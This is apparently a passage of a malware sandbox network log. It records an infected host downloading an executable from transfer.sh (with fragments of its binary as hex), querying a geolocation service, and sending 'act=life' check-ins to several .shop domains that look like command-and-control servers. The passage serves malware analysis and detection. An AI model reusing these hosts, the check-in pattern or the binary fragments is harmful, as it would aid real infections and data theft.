                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC606INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Cache-Control: no-store
                                                                                                                                                                                                                                                              Content-Disposition: attachment; filename="6edofzV2z3.exe"
                                                                                                                                                                                                                                                              Content-Length: 70504
                                                                                                                                                                                                                                                              Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                              Retry-After: Thu, 08 Feb 2024 20:18:13 GMT
                                                                                                                                                                                                                                                              Server: Transfer.sh HTTP Server
                                                                                                                                                                                                                                                              Vary: Range, Referer, X-Decrypt-Password
                                                                                                                                                                                                                                                              X-Made-With: <3 by DutchCoders
                                                                                                                                                                                                                                                              X-Ratelimit-Key: 81.181.57.74
                                                                                                                                                                                                                                                              X-Ratelimit-Limit: 10
                                                                                                                                                                                                                                                              X-Ratelimit-Rate: 600
                                                                                                                                                                                                                                                              X-Ratelimit-Remaining: 8
                                                                                                                                                                                                                                                              X-Ratelimit-Reset: 1707419893
                                                                                                                                                                                                                                                              X-Remaining-Days: n/a
                                                                                                                                                                                                                                                              X-Remaining-Downloads: n/a
                                                                                                                                                                                                                                                              X-Served-By: Proudly served by DutchCoders
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:12 GMT
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC580INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 ec 4b b3 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 46 ee 00 00 00 0a 00 00 00 00 00 00 40 0e 01 00 00 20 00 00 00 20 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 02 00 00 68 44 01 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK"0F@ @ `hD`
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC2372INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 5a 00 02 00 43 00 02 00 58 00 02 00 56 00 02 00 41 00 02 00 4c 00 02 00 52 00 02 00 45 00 02 00 59 00 02 00 08 00 02 00 2e 00 02 00 2e 00 01 00 2d 00 01 00 4a 00 02 00 46 7e 01 00 00 04 02 6f 1a 00 00 0a 6f 1b 00 00 0a 2a 46 7e 02 00 00 04 02 6f 1a 00 00 0a 6f 1b 00 00 0a 2a 1e 02 73 1c 00 00 0a 2a 56 73 2a 00 00 0a 80 01 00 00 04 73 2a 00 00 0a 80 02 00 00 04 2a 5e 02 14 7d 03 00 00 04 02 28 2b 00 00 0a 00 00 02 28 0f 00 00 06 00 2a 0a 00 2a 0a 00 2a 5e 02 14 7d 0c 00 00 04 02 28 2b 00 00 0a 00 00 02 28 13 00 00 06 00 2a 5e 02 14 7d 0d 00 00 04 02 28 2b 00 00 0a 00 00 02 28 17 00 00 06 00 2a 5e 02 14 7d 0e 00 00 04 02 28 2b 00 00 0a 00 00 02 28 1b 00 00 06 00 2a 5e 02 14 7d 0f 00 00 04 02 28 2b 00 00 0a 00 00 02 28 1f
                                                                                                                                                                                                                                                              Data Ascii: ZCXVALREY..-JF~oo*F~oo*s*Vs*s**^}(+(***^}(+(*^}(+(*^}(+(*^}(+(
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC538INData Raw: 00 00 0a 5d 0b 09 17 58 0d 09 08 6f 28 00 00 0a 32 b8 06 6f 29 00 00 0a 2a 00 00 00 13 30 01 00 0f 00 00 00 04 00 00 11 00 73 10 00 00 06 0a 06 6f 2c 00 00 0a 00 2a 00 13 30 02 00 2b 00 00 00 05 00 00 11 00 03 2c 0b 02 7b 03 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b 03 00 00 04 6f 2d 00 00 0a 00 00 02 03 28 2e 00 00 0a 00 2a 00 13 30 03 00 63 04 00 00 00 00 00 00 00 02 73 2f 00 00 0a 7d 03 00 00 04 02 17 28 30 00 00 0a 00 02 20 20 03 00 00 20 c2 01 00 00 73 31 00 00 0a 28 32 00 00 0a 00 02 72 17 07 00 70 6f 33 00 00 0a 00 02 73 34 00 00 0a 7d 04 00 00 04 02 7b 04 00 00 04 1f 64 1f 64 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 04 00 00 04 72 23 07 00 70 6f 37 00 00 0a 00 02 7b 04 00 00 04 1f 4b 1f 17 73 31 00 00 0a 6f 38 00 00 0a 00 02 7b 04 00 00 04 16
                                                                                                                                                                                                                                                              Data Ascii: ]Xo(2o)*0so,*0+,{+,{o-(.*0cs/}(0 s1(2rpo3s4}{dds5o6{r#po7{Ks1o8{
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC4096INData Raw: 00 0a 00 02 7b 06 00 00 04 18 6f 39 00 00 0a 00 02 7b 06 00 00 04 72 8f 07 00 70 6f 33 00 00 0a 00 02 73 3d 00 00 0a 7d 07 00 00 04 02 7b 07 00 00 04 17 6f 3e 00 00 0a 00 02 7b 07 00 00 04 1f 64 20 c8 00 00 00 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 07 00 00 04 72 99 07 00 70 6f 37 00 00 0a 00 02 7b 07 00 00 04 1f 23 1f 0d 73 31 00 00 0a 6f 38 00 00 0a 00 02 7b 07 00 00 04 19 6f 39 00 00 0a 00 02 7b 07 00 00 04 72 af 07 00 70 6f 33 00 00 0a 00 02 73 3d 00 00 0a 7d 08 00 00 04 02 7b 08 00 00 04 17 6f 3e 00 00 0a 00 02 7b 08 00 00 04 1f 64 20 fa 00 00 00 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 08 00 00 04 72 bb 07 00 70 6f 37 00 00 0a 00 02 7b 08 00 00 04 1f 23 1f 0d 73 31 00 00 0a 6f 38 00 00 0a 00 02 7b 08 00 00 04 1a 6f 39 00 00 0a 00 02 7b 08 00 00 04 72
                                                                                                                                                                                                                                                              Data Ascii: {o9{rpo3s=}{o>{d s5o6{rpo7{#s1o8{o9{rpo3s=}{o>{d s5o6{rpo7{#s1o8{o9{r
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC5930INData Raw: 7e 00 00 06 00 00 2b 0e 02 20 c2 00 00 00 15 03 28 aa 00 00 06 26 02 20 c5 00 00 00 02 7b 23 00 00 04 16 28 ab 00 00 06 26 2a 13 30 03 00 12 00 00 00 16 00 00 11 00 02 12 01 12 00 28 64 00 00 06 00 06 0c 2b 00 08 2a 00 00 13 30 03 00 38 00 00 00 17 00 00 11 00 03 16 fe 04 0c 08 2c 10 72 ed 08 00 70 7e 84 00 00 0a 73 85 00 00 0a 7a 02 12 00 12 01 28 64 00 00 06 00 03 07 fe 01 0d 09 2c 02 2b 09 02 06 03 28 9c 00 00 06 00 2a 13 30 03 00 12 00 00 00 16 00 00 11 00 02 12 00 12 01 28 64 00 00 06 00 06 0c 2b 00 08 2a 00 00 13 30 03 00 28 00 00 00 05 00 00 11 00 03 16 fe 04 0a 06 2c 10 72 0d 09 00 70 7e 84 00 00 0a 73 85 00 00 0a 7a 02 03 02 6f 6d 00 00 06 28 9c 00 00 06 00 2a 13 30 04 00 3c 00 00 00 0a 00 00 11 00 03 02 28 7b 00 00 0a 28 9c 00 00 0a 16 fe 01 0a
                                                                                                                                                                                                                                                              Data Ascii: ~+ (& {#(&*0(d+*08,rp~sz(d,+(*0(d+*0(,rp~szom(*0<({(
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC199INData Raw: fe 01 0a 06 2c 02 2b 24 02 03 28 5a 00 00 06 00 03 2c 0b 02 28 bd 00 00 06 16 fe 01 2b 01 17 0b 07 2c 02 2b 07 02 28 64 00 00 0a 00 2a 00 00 00 13 30 03 00 3d 01 00 00 30 00 00 11 00 02 28 3f 00 00 06 0a 02 7b 30 00 00 04 0d 09 0c 08 17 2e 08 2b 00 08 18 2e 13 2b 23 06 25 6f 6a 00 00 0a 1e 60 6f 6b 00 00 0a 00 2b 12 06 25 6f 6a 00 00 0a 1f 10 60 6f 6b 00 00 0a 00 2b 00 02 02 7b 32 00 00 04 28 e2 00 00 0a 0b 06 25 6f 6c 00 00 0a 20 ff ef ff ff 5f 6f 6d 00 00 0a 00 07 13 05 11 05 13 04 11 04 45 03 00 00 00 02 00 00 00 13 00 00 00 24 00 00 00 2b 33 06 25 6f 6a 00 00 0a 16 60 6f 6b 00 00 0a 00
                                                                                                                                                                                                                                                              Data Ascii: ,+$(Z,(+,+(d*0=0(?{0.+.+#%oj`ok+%oj`ok+{2(%ol _omE$+3%oj`ok
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC8302INData Raw: 2b 22 06 25 6f 6a 00 00 0a 18 60 6f 6b 00 00 0a 00 2b 11 06 25 6f 6a 00 00 0a 17 60 6f 6b 00 00 0a 00 2b 00 02 6f 59 00 00 06 13 06 11 06 2c 5e 00 02 7b 31 00 00 04 17 5f 17 33 13 02 7b 32 00 00 04 2d 0b 02 28 79 00 00 06 16 fe 01 2b 01 16 13 07 11 07 2c 13 06 25 6f 6a 00 00 0a 20 00 00 10 00 60 6f 6b 00 00 0a 00 02 7b 31 00 00 04 18 5f 18 fe 01 13 08 11 08 2c 13 06 25 6f 6a 00 00 0a 20 00 00 20 00 60 6f 6b 00 00 0a 00 00 02 7b 2f 00 00 04 13 09 11 09 2c 10 06 25 6f 6a 00 00 0a 1f 20 60 6f 6b 00 00 0a 00 06 13 0a 2b 00 11 0a 2a 00 00 00 13 30 04 00 1a 00 00 00 28 00 00 11 00 02 02 28 98 00 00 0a 73 99 00 00 0a 03 04 05 28 f4 00 00 06 0a 2b 00 06 2a 00 00 13 30 04 00 1f 00 00 00 05 00 00 11 00 02 28 66 00 00 0a 16 fe 01 0a 06 2c 02 2b 0e 02 20 e8 00 00 00
                                                                                                                                                                                                                                                              Data Ascii: +"%oj`ok+%oj`ok+oY,^{1_3{2-(y+,%oj `ok{1_,%oj `ok{/,%oj `ok+*0((s(+*0(f,+
                                                                                                                                                                                                                                                              2024-02-08 19:18:12 UTC9488INData Raw: 00 c3 03 88 2d 32 00 84 00 78 4b 00 00 00 00 83 00 8c 59 58 01 84 00 90 4b 00 00 00 00 81 00 5b 0b 5e 01 86 00 1c 4c 00 00 00 00 81 00 b6 37 65 01 87 00 44 4c 00 00 00 00 81 00 3d 45 6c 01 8a 00 6c 4c 00 00 00 00 81 00 67 16 5e 01 8d 00 a8 4c 00 00 00 00 81 00 c8 51 5e 01 8e 00 00 4d 00 00 00 00 83 00 1b 00 73 01 8f 00 14 4d 00 00 00 00 81 00 20 04 5e 01 90 00 ec 4d 00 00 00 00 c4 40 04 0a 5e 01 91 00 8c 4e 00 00 00 00 91 18 9e 45 01 00 92 00 26 25 00 00 00 00 86 18 98 45 be 00 92 00 84 4f 00 00 00 00 86 00 91 04 7a 01 93 00 9c 4f 00 00 00 00 96 00 fb 1c 80 01 94 00 f4 4f 00 00 00 00 96 00 29 09 80 01 95 00 18 50 00 00 00 00 96 00 21 4a 86 01 96 00 44 50 00 00 00 00 96 00 73 5a 8b 01 97 00 64 50 00 00 00 00 96 00 12 42 94 01 9b 00 90 50 00 00 00 00 96 00
                                                                                                                                                                                                                                                              Data Ascii: -2xKYXK[^L7eDL=EllLg^LQ^MsM ^M@^NE&%EOzOO)P!JDPsZdPBP
                                                                                                                                                                                                                                                              2024-02-08 19:18:13 UTC10674INData Raw: 61 63 68 65 64 44 61 74 61 00 72 65 6d 61 69 6e 69 6e 67 4f 75 74 65 72 45 6e 63 6f 64 65 64 42 79 74 65 73 44 65 66 69 6e 65 49 6e 69 74 69 61 6c 69 7a 65 64 44 61 74 61 00 52 65 61 64 54 6f 45 6e 64 41 73 79 6e 63 49 6e 74 65 72 6e 61 6c 64 36 36 44 65 66 69 6e 65 55 6e 69 6e 69 74 69 61 6c 69 7a 65 64 44 61 74 61 00 4c 65 67 61 63 79 42 65 68 61 76 69 6f 72 4e 65 65 64 4d 6f 72 65 44 61 74 61 00 67 65 74 53 69 6e 67 6c 65 56 69 65 77 47 65 74 41 6c 6c 46 75 6e 63 43 75 73 74 44 61 74 61 00 49 67 6e 6f 72 65 52 61 77 41 72 72 61 79 44 61 74 61 00 53 34 30 30 34 30 30 44 51 54 72 79 47 65 74 52 61 77 4d 65 74 61 64 61 74 61 00 67 65 74 5f 41 63 63 65 70 74 73 54 61 62 00 73 65 74 5f 41 63 63 65 70 74 73 54 61 62 00 6d 73 63 6f 72 6c 69 62 00 46 72 6f 6d
                                                                                                                                                                                                                                                              Data Ascii: achedDataremainingOuterEncodedBytesDefineInitializedDataReadToEndAsyncInternald66DefineUninitializedDataLegacyBehaviorNeedMoreDatagetSingleViewGetAllFuncCustDataIgnoreRawArrayDataS400400DQTryGetRawMetadataget_AcceptsTabset_AcceptsTabmscorlibFrom
                                                                                                                                                                                                                                                              2024-02-08 19:18:13 UTC496INData Raw: 6f 4c 65 74 74 65 72 49 53 4f 52 65 67 69 6f 6e 4e 61 6d 65 49 6d 70 6c 00 67 65 74 5f 49 42 65 61 6d 00 67 65 74 48 6f 73 74 43 6f 6e 74 65 78 74 67 65 74 55 6e 64 65 72 6c 79 69 6e 67 53 74 72 65 61 6d 00 4e 65 74 77 6f 72 6b 53 74 72 65 61 6d 00 47 65 74 53 74 72 65 61 6d 00 67 65 74 5f 4c 50 61 72 61 6d 00 67 65 74 5f 57 50 61 72 61 6d 00 53 68 69 66 74 4c 65 66 74 4c 6f 67 69 63 61 6c 53 61 74 75 72 61 74 65 44 69 76 52 65 6d 00 67 65 74 5f 49 74 65 6d 00 73 65 74 5f 49 74 65 6d 00 43 6f 6d 70 61 72 65 53 63 61 6c 61 72 55 6e 6f 72 64 65 72 65 64 47 72 65 61 74 65 72 54 68 61 6e 73 65 74 49 74 65 6d 00 44 6f 75 62 6c 65 54 6f 55 49 6e 74 36 34 42 69 74 73 73 65 74 49 74 65 6d 00 53 79 73 74 65 6d 00 43 6f 6d 70 61 72 65 54 65 73 74 43 6f 72 72 65 63
                                                                                                                                                                                                                                                              Data Ascii: oLetterISORegionNameImplget_IBeamgetHostContextgetUnderlyingStreamNetworkStreamGetStreamget_LParamget_WParamShiftLeftLogicalSaturateDivRemget_Itemset_ItemCompareScalarUnorderedGreaterThansetItemDoubleToUInt64BitssetItemSystemCompareTestCorrec


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              17192.168.2.549819172.67.139.220443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:30 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:18:30 UTC922INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:30 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L7YUMYIIGiAd%2FFNcftSwR11tHSOp4tbQJxWbHr8we1OP6DEExFkjHTqQMTs0MSkGIxFEc7M%2F%2FivL0fh%2B2Kf4f6ZivJfY%2FZC7pcf%2Fo2RxdnGfyDD%2BuNRkFjl%2B4vmx"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 85263807a9f7b042-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:30 UTC447INData Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 37 63 66 63 32 63 62 64 37 65 37 39 35 63 65 64 37 38 39 63 61 63 32 39 38 64 34 64 32 63 35 63 64 63 32 63 34
                                                                                                                                                                                                                                                              Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#a7cfc2cbd7e795ced789cac298d4d2c5cdc2c4
                                                                                                                                                                                                                                                              2024-02-08 19:18:30 UTC483INData Raw: d1 81 d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 64 36 35 36 38 36 31 37 64 34 64 33 66 36 34 37 64 32 33 37 38 36 63 33 32 37 65 37 38 36 66 36 37 36 38 36 65 37 39 33 30 33 66 36 34
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#0d6568617d4d3f647d23786c327e786f67686e79303f64
                                                                                                                                                                                                                                                              2024-02-08 19:18:30 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              18192.168.2.549824172.67.152.52443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:47 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: gemcreedarticulateod.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:47 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:47 UTC808INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:47 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=8d0sqa88nfkmgrbpo1t30no411; expires=Mon, 03-Jun-2024 13:05:26 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4pHLxKG4YWxdSKHjwR9jiTxVPVxXhRwlLMNcjAIcuVUT%2BNjHHW3BvDyXhE9JeuSgtCOedZNdQXWjfm%2BTZo2L947FqrY9iMHZqP4A%2F8Oeb8Jag6mEyzKa055NkfpCTy2u4TIo7p9XKFS2elOn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526387159f453fd-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:47 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:47 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              19192.168.2.549825104.21.16.152443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC275OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: secretionsuitcasenioise.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC814INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:48 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=o036tt2a5hfodn725pa5niqmph; expires=Mon, 03-Jun-2024 13:05:27 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SRDM0En9rGsMT%2Bf%2FzZ4PAfXavsbh6fnw%2F6BjEz991RIrRDNE5wKjGP8BL3Sp4FYTTFZEeQ6qlc49IrPxThgnjSGsil2xfQU5xl18Wogc0R8L8D9lFbb8Q%2BDj8nro7cRV4KmNmC0KKtSGPVMHAAKH"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852638774e1653d2-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              20192.168.2.549827172.67.199.120443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC271OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: claimconcessionrebe.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:48 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:49 UTC820INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:49 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=io7mf5nqq86if3f22h9i0o79qb; expires=Mon, 03-Jun-2024 13:05:28 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5ZROmgMm3o5s2DnOPiZE1ZCUvpSYwl%2B%2B180poSpXOLHgOsEWUMwaDnKrLE1iK4Z7I%2BQ2mH4E388AXRV%2FmaSh92Bg6RjcRUF9mkGWwIWaQ%2BUbdxOSJtuvLWZVSPr%2BRBC8oPUErjTf%2B%2BdkNn8%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526387d5e906759-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:18:49 UTC15INData Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: aerror #D12
                                                                                                                                                                                                                                                              2024-02-08 19:18:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                                                              21192.168.2.549828104.21.83.220443
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:49 UTC274OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: liabilityarrangemenyit.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:49 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
